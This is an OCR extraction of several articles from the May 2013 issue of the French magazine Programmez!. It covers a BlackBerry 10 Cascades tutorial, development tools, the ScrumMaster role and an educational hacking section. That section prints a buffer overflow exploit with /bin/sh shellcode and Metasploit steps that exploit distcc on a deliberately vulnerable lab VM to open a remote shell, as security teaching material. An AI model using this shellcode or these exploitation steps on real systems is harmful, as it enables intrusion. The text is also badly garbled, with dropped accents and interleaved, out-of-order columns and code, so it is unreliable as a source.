sest largement toff en ce dbut danne 2013. Conscient de
lavenir radieux des technologies tournant autour de la nouvelle
norme HTML 5, BlackBerry 10 propose le framework WebWorks
rendant possible le dveloppement dapplications en HTML 5, CSS 3
et Javascript. Techniquement, les applications dveloppes avec
WebWorks sont de simples applications web standalone dont le packaging est identique celui des applications natives.
Dans ce qui suit, nous nous intresserons plus particulirement au
SDK natif de BlackBerry 10. Base sur QNX, cette version offre aux
dveloppeurs un ensemble dAPI natives compatibles POSIX et proposant des accs bas niveau lOS. Le cur de ce SDK est un atout
essentiel pour les dveloppeurs de jeux notamment qui pourront
tirer parti de sa puissance. En outre, les millions de lignes de code
C/C++ existantes sont de fait dores et dj exploitables sur la plateforme, ce qui constitue un potentiel trs intressant. Si ces API
natives permettent le dveloppement dIHM, elles ne sont pas forcment des plus simples manipuler. Pour acclrer les dveloppements, le SDK natif propose le framework Cascades qui fournit tous
les outils ncessaires pour raliser simplement des IHM. Intgrant
nativement lexprience utilisateur de lOS, Cascades est un framework C++ sappuyant sur Qt 4 et permettant la cration dIHM laide de son langage de description dinterfaces QML (Qt Modeling
Language).
INSTALLATION
La premire tape pour raliser des applications consiste tlcharger le SDK ladresse suivante : http://developer.blackberry.com/
native/download . Supportant les systmes Mac et Linux en sus de
Windows, le SDK arrive avec QNX Momentics IDE, bas sur Eclipse,
qui propose lensemble des outils ncessaires au dveloppement
dapplications BlackBerry 10. Parmi les fonctionnalits proposes,
on signalera la prsence du plugin CDT, indispensable pour raliser
des dveloppements C/C++ sur Eclipse, un diteur graphique pour
les IHM ainsi que des outils de dbuggage et de gestion des mulateurs de terminaux BlackBerry 10. En outre, il est bon de noter
quun plugin pour Visual Studio est disposition. Enfin, il reste tlcharger la mme adresse lmulateur de terminaux BlackBerry
10. Cet mulateur tant en fait une machine virtuelle VMware, il est
ncessaire de tlcharger le logiciel VMware Player pour lutiliser.
MISE EN PRATIQUE
Afin de prendre en main le SDK natif de BlackBerry 10, nous allons
dvelopper une premire application C++ avec une IHM ralise en
QML. Cette application se composera dune image, dun bouton ainsi
que dun label dont le contenu sera mis jour aprs chaque click sur
le bouton. Bien que simpliste, cette application permettra de mettre
en pratique les concepts essentiels dans la ralisation dapplications
avec notamment linteraction avec les ressources, la gestion vnementielle et lutilisation de QML. Une fois lanc, lditeur propose un
assistant de cration dapplications [Fig.1] accessible via le chemin
File > New > BlackBerry Project. Un certain nombre de templates
facilitant le dmarrage dapplications sont proposs. Ici, nous optons
pour une application de type Cascades puisque cest via ce framework que nous allons raliser lIHM.
Larborescence de lapplication [Fig.2] cre se compose dun dossier
src contenant les fichiers sources et leurs headers. Le dossier
assets contient les diffrentes ressources dune application, ce qui
va des images aux IHM dfinies via QML. Un dossier translations
contient les diffrents fichiers libells ncessaires linternationalisation dune application. Enfin, on note la prsence dun classique
Makefile la racine du projet, permettant de builder lapplication en
vue de la tester ou de la dployer, et dun fichier icon.png correspondant licne de lapplication qui sera affiche sur BlackBerry OS.
POINT DENTRE
Le point dentre dune application est le fichier main.cpp se trouvant
au sein du dossier src dun projet BlackBerry 10. Le fichier gnr
avec le template dapplication choisi est suffisant pour la ralisation
Fig.1
Fig.2
< 23 >
MAI
2013
Arborescence d'un
projet BB 10
22-25
22/04/13
15:30
Page 24
i veille techno
import bb.cascades 1.0
de notre exemple :
#include <bb/cascades/Application>
#include <bb/cascades/QmlDocument>
#include <bb/cascades/AbstractPane>
#include
#include
#include
#include
<QLocale>
<QTranslator>
<Qt/qdeclarativedebug.h>
"MyFirstBBApp.hpp"
CRATION DE LIHM
Le framework Cascades autorise la cration dIHM de faon programmative ou bien de manire dclarative via lutilisation du langage QML. Pour notre application, linterface construite en QML est
dcrite au sein dun fichier main.qml plac la racine du dossier
assets. Bas sur la syntaxe du langage Javascript, QML permet de
concevoir des IHM de manire lgante et rapide. La racine dun
document QML est lobjet Page qui drive dAbstractPane. Concrtement, une Page reprsente un cran affich au sein dune application. Au sein dune Page, on dfinit un Container principal avec un
layout permettant de grer le placement des diffrents composants
quil contient. Ici, on utilise un Container avec un DockLayout afin de
centrer les lments graphiques lcran. Au sein de celui-ci, on
ajoute un second Container avec un StackLayout affichant les composants verticalement :
PROgrammez !
Page {
Container {
layout: DockLayout {
}
Container {
layout: StackLayout {
}
verticalAlignment: VerticalAlignment.Center
horizontalAlignment: HorizontalAlignment.Center
ImageView {
imageSource: "asset:///images/logo_ssaurel.png"
horizontalAlignment: HorizontalAlignment.Center
}
Button {
id: clickBtn
objectName: "clickBtn"
text: qsTr("Click me !")
horizontalAlignment: HorizontalAlignment.Center
}
Label {
id: countLbl
objectName: "countLbl"
textStyle.base: countStyle.style
horizontalAlignment: HorizontalAlignment.Center
}
}
}
attachedObjects: [
TextStyleDefinition {
id: countStyle
fontWeight: FontWeight.Bold
fontStyle: FontStyle.Italic
color: Color.create("#ff0000")
}
]
}
Les objets non visuels sont dfinis comme objets attachs au sein
dun fichier QML. Lobjet attach TextStyleDefinition est ainsi utilis
pour dfinir le style du label countLbl. Alors que la proprit objectName permet daccder un objet depuis le code C++, la proprit
id rfrence un objet directement au sein du document QML. Lutilisation du Javascript tant supporte par le QML, il est possible de
ragir aux vnements utilisateurs directement au sein du code de
lIHM et ainsi dy effectuer des modifications.
En considrant le bouton clickBtn et le label countLbl, la gestion du
click sur le premier nomm peut tre ralise au sein de lvnement onClicked comme suit :
Button {
text: qsTr("Click me !")
horizontalAlignment: HorizontalAlignment.Center
onClicked: {
countLbl.text = "Clicked"
}
}
< 24 >
MAI
2013
22-25
22/04/13
15:30
Page 25
i veille techno
CODE PRINCIPAL
Cre au sein du main, la classe MyFirstBBApp va charger le fichier
dinterface QML et effectuer les branchements ncessaires son
fonctionnement. Drivant de QObject, elle appelle le constructeur de
ce dernier en passant en entre la rfrence de lobjet Application.
La cration du QMLDocument associ au fichier QML est ralise
via la mthode statique create de cette classe. Les composants graphiques de lIHM sont accessibles partir de la racine du document
via findChild.
En outre, la gestion de la communication inter-objets sappuie sur le
mcanisme des signals et slots du framework Qt sous-jacent. Ainsi,
lorsquun objet veut notifier les autres objets dun changement, il
met un signal pouvant tre reu par les autres grce lutilisation
des slots. Un slot est une fonction dclare comme telle et appele
lorsque son signal associ est mis.
Dans le cas prsent, nous rpondons au signal clicked() dun bouton.
Au sein de la classe MyFirstBBApp, on dfinit la fonction onButtonClicked() en tant que slot. Ensuite, il faut connecter le signal clicked()
avec le slot que nous venons de crer via la mthode
QObject::connect. Au niveau du code, cela donne le rsultat suivant :
void MyFirstBBApp::onButtonClicked() {
QObject *lbl = root->findChild<QObject *>("countLbl");
count++;
QString strCount = QString("%1").arg(count);
std::string str = std::string("Clicked ") + strCount.toStd
String() + std::string(" times");
lbl->setProperty("text", str.c_str());
}
On notera quune fois linterface QML charge et les branchements
raliss, la racine de linterface est sette via un appel la mthode
setScene de linstance dapplication courante.
EXCUTION
#include "MyFirstBBApp.hpp"
#include
#include
#include
#include
.parent(this);
root = qml->createRootObject<AbstractPane>();
QObject *newButton = root->findChild<QObject*>("clickBtn");
QObject::connect(newButton, SIGNAL(clicked()), this, SLOT
(onButtonClicked()));
app->setScene(root);
}
<bb/cascades/Application>
<bb/cascades/QmlDocument>
<bb/cascades/AbstractPane>
<string>
Fig.3
Lapplication est dsormais prte tre teste au sein de lmulateur BlackBerry 10. Une fois lmulateur lanc via VMware player, il
est temps de la builder en ciblant le simulateur en mode dbug dans
les configurations du build. Cela se fait dun click droit sur un projet
puis en suivant le chemin Build Configuration > Set Active et en slectionnant Simulator-Debug.
Il suffit ensuite de faire un build du projet. Une fois celui-ci termin
avec succs, lexcution de lapplication se fait en cliquant sur Run
As puis en choisissant BlackBerry C/C++ Application. Dans la
fentre apparaissant alors lcran, il est ncessaire de choisir la
cible dexcution vise. Lassistant dajout de nouvelles cibles permet
de dcouvrir automatiquement les machines virtuelles BlackBerry
10 en cours dexcution sur lordinateur hte. Lexcution peut alors
avoir lieu et le rsultat est prsent la [Fig.3].
CONCLUSION
En chute libre depuis plusieurs mois maintenant, BlackBerry joue
son va-tout avec BlackBerry 10. Voulant rompre avec son immobilisme au cours dune priode ayant subi de nombreux changements
technologiques majeurs, la firme propose un systme novateur et
diffrent de ceux des 2 poids lourds actuels du march que sont
Android et iOS. Avec un SDK natif bas sur du code C/C++, BlackBerry veut faire de la performance un argument de poids dans le
choix de sa plateforme.
En outre, louverture un grand nombre dautres technologies
montre la volont de lditeur de ratisser large afin dattirer le plus
de dveloppeurs possibles vers sa plateforme et ainsi toffer son
store applicatif. Quoi quil en soit et malgr les qualits indniables
de la plateforme, tant du point de vue de lutilisateur final que de celui
du dveloppeur, la route demeure longue et seme dembches,
face notamment Windows Phone 8 qui lorgne galement pour la
dernire place du podium dun march des smartphones en pleine
croissance.
< 25 >
MAI
2013
26-29
20/04/13
00:06
Page 26
i outils
> Concevoir
La conception est le dpart des ides et la
dfinition sur laquelle se basera le dveloppement. Avant dtre avance ou technique,
elle doit tre claire. Les outils daide la
conception vous permettront de produire
une reprsentation comprhensible par tous
> Partager...
... la base de code
Partager des fichiers et la base de code est
essentiel dans un projet. La meilleure faon
de le faire est dutiliser un outil de gestion
PROgrammez !
< 26 >
MAI
2013
26-29
20/04/13
00:06
Page 27
i outils
... le travail
... un IDE
> Tester
unitairement
Tester le code produit est fondamental. Les
outils de tests dpendent en gnral de la
technologie utilise, mais ils ont en commun
quils doivent tre lisibles, et implments en
continu (idalement en Test Driven Development). Pour ce faire, il existe des librairies
dans diffrents langages :
Java : FestAssert, Mockito ;
Groovy : Spock, Geb ;
Scala : ScalaTest, Specs2 ;
Javascript : Testacular, Qunit.
un framework
en intgration
PROgrammez !
< 27 >
MAI
2013
26-29
20/04/13
00:06
Page 28
i outils
JS ou son spin-off CasperJS permettent
dmuler un navigateur et excuter des scnarios sous forme de script Javascript. Dans
le cas dune API REST crite avec la JSR 311
(JAX-RS), Apache CXF permet de gnrer
automatiquement des clients de test.
sous pression
Les tests classiques permettent de tester la
non-rgression dune fonctionnalit, mais
quen est-il de sa performance ? Il convient
dutiliser des outils capables de littralement
mitrailler une application sur une rampe et
de crer des rapports de performance
partir de ces excutions.
Gatling permet dexcuter des scnarios avec
une API fonctionnelle en Scala de manire
performante et programmatique (Gatling
peut donc aussi servir en intgration).
JMeter est un outil graphique permettant
denregistrer des scnarios dans des
scripts, lavantage est quil peut adresser
un bon nombre de protocoles et se
connecter la JVM.
> Livrer
Pour sassurer en permanence que lapplication est livrable, il faut automatiser le build, le
passage des tests automatiss et le packaging. Le terme gnrique est intgration continue ou CI. Les serveurs de CI sont nombreux,
le plus populaire tant de loin Jenkins avec des
versions en ligne comme Travis et Cloudbees.
Pour automatiser le dploiement de machines
dans un environnement Cloud, il existe Chef,
Capistrano et Puppet, ainsi que des outils en
ligne tels quAmazon Web Services. Ce sont
gnralement des scripts qui dploient des
machines ou des ASG (Auto Scaling Group)
dans le Cloud puis activent des services, tels
que les connecteurs, des bases de donnes
ou l'installation de serveurs.
> Conclusion
Les bnfices cumuls des outils de dveloppement contrebalancent largement linconvnient de les maintenir et de rester jour. Ils
peuvent changer compltement la vie dun
projet. L'investissement initial pour atteindre
une bonne matrise est trs vite compens
par les avantages retirs. Finalement, ces
bnfices permettent de se concentrer sur
ce qui est vritablement important : la qualit
des livrables qui sont laboutissement du travail du dveloppeur. Nous navons trait ici
que quatre langages, mais nallez pas vous
imaginer quils sont les seuls tre outills,
C#, Ruby, Clojure, et les autres, reclent
aussi de nombreuses ppites, comme
Cucumber ou Luminus par exemple. Ce sera
peut-tre le sujet dun prochain chapitre.
Gardez l'esprit que le meilleur outil est celui
qui vous va et qui vous facilite la vie. A vous
maintenant de vous forger votre bote outils
sur mesure, adapte vos contraintes. Testez, mesurez les gains, jugez, recommencez.
# Guillaume Balaine
Consultant Xebia
PROgrammez !
< 28 >
MAI
2013
26-29
20/04/13
00:06
Page 29
i outils
> L'environnement
de dveloppement
< 29 >
MAI
PROgrammez !
2013
30-33
20/04/13
11:53
Page 30
i agilit
Le ScrumMaster en pratique
Suite de notre
dossier Scrum du n162
> Dessine-moi
un ScrumMaster
Son caractre [Fig.2]
Contrairement un chef de projet, le ScrumMaster nest pas l pour grer une quipe,
mais pour la guider, la comprendre et laider.
Il se verra donc davantage comme un gal et
ne cherchera pas dans ce mtier un poste
responsabilits managriales. Un ScrumMaster parlera ainsi plutt des dveloppeurs de son quipe , plutt que de ses
dveloppeurs .
Il est donc humble et bienveillant, mettant en
avant lquipe pour ses succs, ne blmant
pas, mais ne trouvant pas dexcuses aux
checs. En tant que membre de lquipe, il
est bien positionn pour la comprendre. Cela
lui permet dtre lcoute des problmes et
avoir cur leurs rsolutions.
Pour obtenir la leve des obstacles identifis, le ScrumMaster devra faire preuve de
beaucoup de diplomatie, mais savoir rester
ferme. De plus, un ScrumMaster sympathique aura souvent plus de facilits rallier
Fig.2
Ses connaissances /
son exprience
Le ScrumMaster tant le guide de lquipe
dans sa pratique du Scrum, il est essentiel
quil sache de quoi il parle, tant sur le plan
thorique que sur le plan pratique.
Il est donc important de matriser le manifeste Agile (http://agilemanifesto.org/iso/fr/) : en tant
que ScrumMaster, posez-vous la question :
Suis-je capable dnoncer les quatre grands
principes du manifeste Agile ? . Mieux encore : Suis-je capable de rciter les 12 principes sous-jacents au manifeste Agile ? . A
la premire question, la rponse devrait tre
oui. A la seconde, ne nous leurrons pas,
cest certainement non. Toutefois, prenez le
temps de les relire de temps en temps. Vous
y trouverez srement la rponse une question, ou un problme du moment. Il faut
toutefois souligner que la thorie ne suffit
pas. ScrumMaster est un mtier qui requiert
de lexprience. Avoir dj fait partie dune
quipe fonctionnant en Scrum est une plusvalue pour un ScrumMaster, qui aura ainsi
acquis un certain recul par rapport aux
recommandations Scrum. Il est en effet
important de savoir sadapter lquipe, et
de proposer des actions dont on connat les
effets. Aussi, le ScrumMaster gagnera sinformer sur les autres mthodes Agiles. Le
Scrum donne des mthodes dorganisation
et de collaboration qui, pour fonctionner,
PROgrammez !
< 30 >
MAI
2013
Ses comptences
Un ScrumMaster senior saura utiliser des
comptences humaines de gestion des problmes, en tant tout particulirement dynamique et proactif. Un ScrumMaster
dbutant capitalisera plutt sur ses connaissances techniques et mtier pour faciliter la
communication entre le produit et le dveloppement. Il utilisera alors sa capacit parler
les deux langages pour faciliter la discussion
entre les deux parties. Il pourra ainsi sassurer de la bonne comprhension du besoin par
30-33
20/04/13
11:53
Page 31
i agilit
lquipe et occasionnellement traduire un
besoin purement technique en un apport
fonctionnel. Ainsi, si le dbat entre le ScrumMaster intgr et le ScrumMaster ddi est
sans fin, il est indniablement avantageux que
le ScrumMaster ait au moins des notions sur
les technologies utilises et si possible une
bonne matrise, afin de gagner plus facilement le respect et le soutien de son quipe.
> Le quotidien
du ScrumMaster
Garant du Scrum
Le ScrumMaster est le garant du Scrum. Il
a donc pour responsabilit de former lquipe
aux pratiques Agiles, et de sassurer du bon
droulement des crmonies. Il cadre le daily
stand up, aide lquipe prparer la dmo et
y fournit les indicateurs ncessaires la
revue, veille la pertinence de la rtrospective et fait en sorte que le planning soit correctement prpar et effectu. A cela sajoute la
tche plus long terme de sensibiliser les
quipes aux mthodes Agiles, et dtre force
de proposition sur les bonnes pratiques.
Facilitateur
Le ScrumMaster est souvent appel le
facilitateur . Cela veut dire que son objectif premier est de permettre lquipe de
travailler dans les meilleures conditions et
le plus efficacement possible. Cela passe
tant par lamlioration de lorganisation au
actions lui soient personnelles. Le ScrumMaster doit donc faire attention ne pas
influencer les dcisions, son but tant de
mener lquipe dans sa recherche et limplmentation de la solution et non de la
trouver. Il peut en revanche challenger les
solutions proposes si celles-ci lui semblent
en dsaccord avec les bonnes pratiques de
lquipe (Scrum ou non), ou dans une perspective damlioration continue.
Il dispose pour cela de divers outils fournis
par les mthodes Agiles, quil pourra utiliser
dans les crmonies Scrum (tout particulirement la rtrospective) ou en organisant
des ateliers de rflexion. Il peut par exemple
tre intressant de varier la rtro, tant dans
sa forme (le Mad Sad Glad , le ce quil
faut continuer, ce quil faut arrter, ce quil
faut commencer ) que dans les outils qui
laccompagnent (comme la mthode des 5
pourquoi) [Fig.3 et 4]. Les avantages de ce type
de mthodes sont :
quelles ont fait leurs preuves ;
quelles sont suffisamment nombreuses pour
facilement sadapter chaque situation ;
quelles aident garder le travail efficace
et constructif ;
quelles aident apporter de la varit (et
donc viter la monotonie et lennui) dans
les crmonies.
Le ScrumMaster aura alors pour rle dorganiser et de limiter le temps de rflexion.
Transparence
Fig.3
Exemple de Mad Sad Glad Le point le plus vot pourra par exemple tre analys
avec le 5 pourquoi
PROgrammez !
Fig.4
< 31 >
MAI
2013
30-33
20/04/13
11:53
Page 32
i agilit
perturbations. Le partage du savoir et des
informations aura galement tendance
enrichir les changes et amliorer les performances de lquipe. Au niveau de lorganisation, il est bien plus rassurant pour le
management de pouvoir visualiser lavancement et les problmes dune quipe que de
navoir aucune information sur la situation.
Un management inform aura moins tendance faire pression sur lquipe. Le ScrumMaster aura donc tout intrt prendre les
devants, et IN-FOR-MER (attention la brutalit de la dmarche tout de mme, cest le
moment de faire preuve de diplomatie !).
Devenez dispensable!
La conclusion des points prcdents est : le
ScrumMaster est l pour guider lquipe,
laider sauto-organiser et la former. En
bref, son but est de rendre lquipe autonome. Le ScrumMaster ne doit pas se
rendre indispensable, bien au contraire. Son
travail est termin lorsque lquipe na plus
besoin de lui au quotidien pour sauto-organiser. Le ScrumMaster prend alors un rle de
coach, qui apporte un regard extrieur
lquipe pour soutenir la dynamique damlioration continue. Ainsi, un ScrumMaster intgr fera srement 70 % de ScrumMaster et
30 % de dveloppement au dpart, mais doit
viser 10 % de ScrumMaster et 90 % de
dveloppement terme.
valeurs tant souvent estimes sur deux units de mesure diffrentes, la formule applique est alors simplifie :
Visibilit et communication
Les lments du Scrum qui apportent sans
doute le plus de gains avec un effort rduit
sont les deux crmonies centres sur
lquipe : Le daily stand up et la rtrospective ! Ces deux crmonies sont trs importantes car elles sont rcurrentes et
permettent aux dveloppeurs de parler de
leurs obstacles. Durant le daily stand up, le
dveloppeur signale, entre autres, ce qui le
bloque pour avancer dans son travail au jour
le jour. Durant la rtrospective, on demande
lquipe de prendre du recul sur ce qui a
t fait pour ensuite prendre des dcisions
afin damliorer le mode de fonctionnement.
La valeur ajoute de ces crmonies est
donc trs importante et elles ne sont pas
complexes mettre en place. Il suffit de disposer dun espace de travail et dun laps de
temps ddi pour se runir rgulirement.
Il est vident quil faudra russir dlier les
langues et organiser des dbats constructifs o tout le monde peut donner son opinion. Or cela fait justement par tie du
quotidien du ScrumMaster (voir le quotidien
du ScrumMaster).
Lexcellence technique
La seconde tape possde une trs forte
valeur ajoute mais est aussi dune trs
forte complexit dans sa mise en place : Instaurer un processus de qualit au niveau des
dveloppements !
Le Scrum stipule quil faut livrer rgulirement
du logiciel de qualit proche de la production,
PROgrammez !
< 32 >
MAI
2013
eXtreme Programming
Llment capital venant de lXP quil faut
absolument inclure dans sa structure est la
gestion des tests automatiss. Tout le
monde vous le dira : Pour quun projet
Scrum fonctionne bien, il faut tester, tester,
tester ! La recette est toujours une priode
difficile et trop coteuse. La meilleure stratgie pour remdier cela est dautomatiser
au maximum vos tests. Une bonne pratique
du dveloppement dirig par les tests (TDD)
vous aidera dtecter plus rapidement les
problmes de rgression. Cest lun des
moyens les plus srs pour sassurer de la
qualit de son produit. Plus votre couverture
du code par les tests sera importante et
plus vous pourrez rduire la dure de la
recette manuelle. Llment complmentaire
aux tests automatiss est lintgration continue dans un build. Par cette pratique, la
sant et la compilation de votre solution
seront contrles rgulirement. Enfin, il ne
faut pas hsiter complter dun maximum
de pratiques XP : la revue de code ou le Pair
Programming pour maintenir le partage du
savoir, le refactoring pour garantir un code
propre, la normalisation du code pour limiter
la dette technique et faciliter la comprhension du code, etc. Les plus grands succs
connus sont des projets o le Scrum a t
30-33
20/04/13
11:53
Page 33
i agilit
complt par XP et ceci nest pas d au
hasard !
Mise en place
des autres pratiques Scrum
Arriv ce niveau-l, si votre quipe vise lexcellence technique et que vous arrivez
changer durant vos crmonies, vous ne
devriez plus rencontrer normment de
freins techniques pour mettre en place ce
nouveau mode de fonctionnement au sein de
votre quipe. Le cur de cette dernire est
dj en place : Qualit et communication au
sein de lquipe. Maintenant vous pouvez
complter vos pratiques avec le reste des
lments qui composent le Scrum :
Introduisez le concept du backlog de produit (en attendant davoir un Product Owner) ;
Traduisez les fonctionnalits quon vous
fournit en User Stories (US) ;
Dfinissez une unit de mesure pour estimer
la complexit des users stories avec votre
quipe (taille de T-shirt, suite de Fibonacci,) ;
PROgrammez !
< 33 >
MAI
2013
lui aussi dans une dmarche Agile dans lexpression des besoins qui alimentera votre
quipe. Pour que cela puisse bien fonctionner, Il serait idal que le PO connaisse parfaitement le produit et la cible mtier et il quil
puisse possder le poids ncessaire au sein
de lentreprise pour vendre les dcisions qui
seront prises lors de la ralisation incrmentale du logiciel. Vous laurez compris, le PO
est crucial pour le projet. Si vous demandez
un coach Agile le problme le plus rcurrent sur les projets Agile, il rpondra souvent : Avoir un bon PO ! . Faites donc
votre possible pour accompagner et motiver
les personnes qui pourraient jouer ce rle
afin de vous donner tous les chances que
votre dfi dintroduire de lagilit pour votre
quipe soit un grand succs. Si vous russissez atteindre ce niveau, Bravo vous faites
du Scrum ! Il y a encore faire et il est toujours possible de samliorer mais courage !
En maintenant le cap, votre quipe progressera et Il y a fort parier que cette nouvelle
approche intrigue tous les intervenants extrieurs qui collaborent avec votre quipe.
Conclusion
La plus grande preuve lorsque lon souhaite
introduire des pratiques Agiles nest pas la
mthode en elle-mme mais surtout le choc
des mentalits lorsquon essaye de changer
les choses. Si vous arrivez surpasser ces
preuves relationnelles alors vous dcouvrirez les bienfaits de Scrum et offrirez votre
quipe un meilleur cadre de travail. Finalement, Le ScrumMaster a pour vocation de
transformer une quipe en un groupe autoorganis et pouvoir considrer que cette
tche est termine est la plus grande victoire que peut viser un ScrumMaster ! A ce
niveau de maturit, un ScrumMaster ddi
pourrait tre remplac par un ScrumMaster
intgr car ce rle deviendra une responsabilit partage parmi les membres de
lquipe. Il ne faut jamais perdre de vue cet
objectif ! Scrum prnant lamlioration continue, il y aura toujours des actions mettre
en place pour viser plus haut mais une fois
lquipe autonome elle aura la maturit pour
affronter ses obstacles.
# Laurene Vol-Monnot
Scrum Master
Xebia - Software Development Done Right
Blog: http://blog.xebia.fr
# Arnaud Villenave
Coach Agile & Expert ALM
Cellenza - Software Development Done Right
Blog: http://blog.cellenza.com
34-50
20/04/13
01:42
Page 34
i hacking
Hacking :
mais que fait le dveloppeur ?
La scurit informatique, on en
parle beaucoup dans les mdia, les
salons et confrences. Et aprs ?
Bizarrement, on rase les murs. Il ne
se passe pas une semaine sans
dcouvrir une nouvelle faille sur
Android ou iOS, des problmes
sur des processeurs ou tout
bonnement sur de gros
sites de eCommerce.
Bref, la routine.
< 34 >
MAI
2013
34-50
20/04/13
01:42
Page 35
i hacking
Interview
PROgrammez !
< 35 >
MAI
2013
34-50
20/04/13
01:42
Page 36
i hacking
La vulnrabilit
La vulnrabilit est une anomalie propre un logiciel qui fait que
celui-ci se comporte diffremment de ce qui est prvu.
Le buffer overflow est un grand classique des vulnrabilits. Ci-dessous trois lignes en C qui prsentent une vulnrabilit de ce type :
void function(char *str) {
char buffer[16];
contigu la variable buffer est crase. Le flux d'excution est altr car cette zone de mmoire peut contenir une autre variable ou le
pointeur linstruction suivante.
Si lon excute le code ci-dessous, on obtient une erreur de segmentation cause dun accs une zone de mmoire qui ne lui est pas
allou.
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
Consquence : le flux dexcution est modifi et lapplication plante .
Mais peut-on contrler ce flux et excuter du code arbitraire ?
L'exploit
L'exploit est un bout de code qui profite de la vulnrabilit dun systme pour altrer et contrler le flux d'excution de faon arbitraire.
En revenant lexemple prcdent, voici le mme buffer overflow qui
est exploit pour ouvrir un shell (/bin/sh).
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46
\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89
\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
strcpy(buffer,str);
int i;
long *long_ptr = (long *) large_string;
PROgrammez !
< 36 >
MAI
2013
34-50
20/04/13
01:42
Page 37
34-50
20/04/13
01:42
Page 38
i hacking
Premires commandes
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
# msfupdate
}
Ensuite il est temps de dmarrer la console :
Une fois termine la dernire instruction, ce programme ne passe
pas la main mais ouvre un nouveau shell . En effet, une fois charge
en mmoire, la chane de caractres shellcode est excute et interprte comme le code suivant :
# msfconsole
msf>
Enfin, quelques commandes pour une mise en bouche :
#include <stdio.h>
msf>
msf>
msf>
msf>
msf>
msf>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
help
show exploits
show payloads
show options
connect
searc
}
Ce nest pas l'objet de cet article de rentrer dans les dtails de gnration de shellcode. Les lecteurs qui sont intresss peuvent lire larticle [1] do sont tirs ces exemples. Ceci dit, il est important de
relever que metasploit dispose des outils ncessaires pour gnrer
du shellcode et pour calculer les offsets de mmoire.
Le payload
Ds que le flux dun programme est contrl, il est possible dexcuter du code arbitraire (i.e. lexcution dun shell). Ce code arbitraire
sappelle le payload. Il est normalement indpendant de lexploit luimme.
Metasploit dispose de plusieurs types de payloads diffrents. Si le
plus simple est un shell et le plus sophistiqu meterpreter, le plus
excentrique est un serveur VNC.
> Action !
Installation
Il existe plusieurs faons dinstaller metasploit :
Tlcharger le setup dinstallation sur le site de Rapid7 (lditeur de
metasploit) [3]
Cloner le rpo github du framework metasploit [4]
Utiliser la version pr-installe sur la distro Linux BackTrack [5]
Nous choisissons cette dernire option qui a lavantage dtre prconfigure et isole de notre OS de travail.
Comme systme cible, nous utilisons la VM metasploitable2 [5].
Cest une distribution Linux prpare des fins ducatives par
Rapid7 : elle prsente un grand nombre de failles de scurit non
corriges.
(1) Ce code provient du clbre article [1] et a t conu pour une architecture
Linux Intel. Bien quencore dactualit, larticle a dsormais 15 ans et gcc et
Linux ont entre-temps volu [2]. Pour cette raison, il est ncessaire utiliser les
options suivantes lors de la compilation avec gcc :
-fno-stack-protector
-mpreferred-stack-boundary=2
-z execstack
Exploitation de la vulnrabilit
Une fois la configuration du module complte, on la valide :
msf exploit(distcc_exec) > check
[+] The target is vulnerable.
Le moment dexploiter la vulnrabilit est arriv :
msf exploit(distcc_exec) > exploit
PROgrammez !
< 38 >
MAI
2013
34-50
20/04/13
01:42
Page 39
i hacking
[*] Started bind handler
[*] Command shell session 1 opened (192.168.138.128:42129 -> 192.
168.138.129:4444) at 2013-03-25 20:44:12 -0400
Bingo ! Le payload est excut et une session distante est notre
disposition.
Installation de db_autopwn
A partir de la version 4 de msf, ce plugin nest plus livr. Par contre
il est toujours disponible sur github [7]
git clone https://github.com/neinwechter/metasploit-framework.git
git checkout autopwn-modules
cd metasploit-framework
./msfconsole -q
msf> load db_autopwn
Configuration de la base
Pour stocker les rsultats du scan nmap, metasploit utilise une base
postgreSQL. BackTrack 5 en a dj une embarque. Il suffit dexcuter la commande suivante partir de msfconsole pour sy connecter :
msf> db_connect msf3:4bfedfc2@localhost:7337/msf3dev
Autopwn
Tout est prt pour lancer nmap partir de msfconsole
Les ressources
[1] http://www.phrack.org/issues.html?id=14&issue=49
[2] http://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/
[3] http://www.metasploit.com/download/
[4] https://github.com/rapid7/metasploit-framework
[5] http://www.backtrack-linux.org/downloads/
[6] http://cvedetails.com/cve/2004-2687/
[7] https://github.com/neinwechter/metasploit-framework/blob/autopwnmodules/plugins/db_autopwn.rb
# Mario Loriedo,
Architecte Java/EE chez Zenika
Linformation permanente
Lactu de Programmez.com : le fil dinfo quotidien
La newsletter hebdo :
la synthse des informations indispensables.
www.programmez.com
PROgrammez !
< 39 >
MAI
2013
34-50
20/04/13
01:42
Page 40
i hacking
dans les classements car elle peut tre utilise partir du Wifi et/ou du Bluetooth. Sa
cible favorite va toucher principalement les
entreprises ou des personnes qui grent
leurs propres rseaux internes accessibles
partir d'un nom de domaine, et donc visible
par tous.
Cette technique permet de faire croire que
l'ordinateur malveillant fait partie de votre
Contre-mesure
La solution consiste sparer le rseau
interne (LAN) et la partie publique. Par
ailleurs, il faut configurer le serveur DNS en
imposant aux machines identifies de passer
par lui, comme ceci vous limitez les drives.
clickjacking
Ghostery
Contre-mesure
La solution de protection oblige configurer
correctement son routeur d'entre pour viter que des ordinateurs externes puissent
se faire passer pour une machine interne.
De plus, vous pouvez limiter la dure du
cache pour obliger un nettoyage de votre
parc informatique en automatique, ce qui
limite les risques.
> Clickjacking
Le clickjacking est une attaque qui passe
principalement par le navigateur car celle-ci
incite l'internaute cliquer un endroit de
l'cran, qui va gnrer une action non voulue. Le principe s'utilise comme une feuille de
calque, c'est--dire qui laisse passer assez
d'informations, tout en restant interactive.
Les actions peuvent tre trs varies car le
clickjacking a pour but de rcuprer des donnes personnelles, mais aussi prendre le
contrle de votre ordinateur ou des priphriques.
Contre-mesure
Force brute
dns-spoofing
PROgrammez !
< 40 >
MAI
2013
34-50
20/04/13
01:42
Page 41
i hacking
insu. De plus, il repre les scripts comme
Google Analytics, SiteMeter, Google Adsense, OpenAds, Wordpress Stats...
phishing
mail-bombing
de un, celui-ci souvent ne suffit pas. De plus,
